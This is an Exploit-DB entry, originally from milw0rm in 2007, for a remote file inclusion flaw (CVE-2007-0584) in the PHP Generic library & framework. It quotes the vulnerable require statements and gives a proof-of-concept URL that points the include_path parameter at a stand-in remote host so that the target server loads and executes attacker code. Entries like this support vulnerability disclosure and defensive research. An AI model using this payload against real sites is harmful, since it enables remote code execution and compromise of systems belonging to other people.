PHP Generic library & Framework - 'INCLUDE_PATH' Remote File Inclusion

EDB-ID:

3217

CVE:

2007-0584

EDB Verified:

Author:

Mehmet Ince

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2007-01-28

Vulnerable App:

-----------------------------------------------

PhP Generic library & framework (include_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz

-----------------------------------------------

Code:

require $GLOBALS[include_path]."configmember.php";
require $GLOBALS[include_path]."inc-membreManager.php";

-----------------------------------------------

POC:

www.[target].com/[script_pat]/membres/membreManager.php?include_path=http://evilscripts?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=72529

-----------------------------------------------

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir çoçuk xoron.

-----------------------------------------------

# milw0rm.com [2007-01-28]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services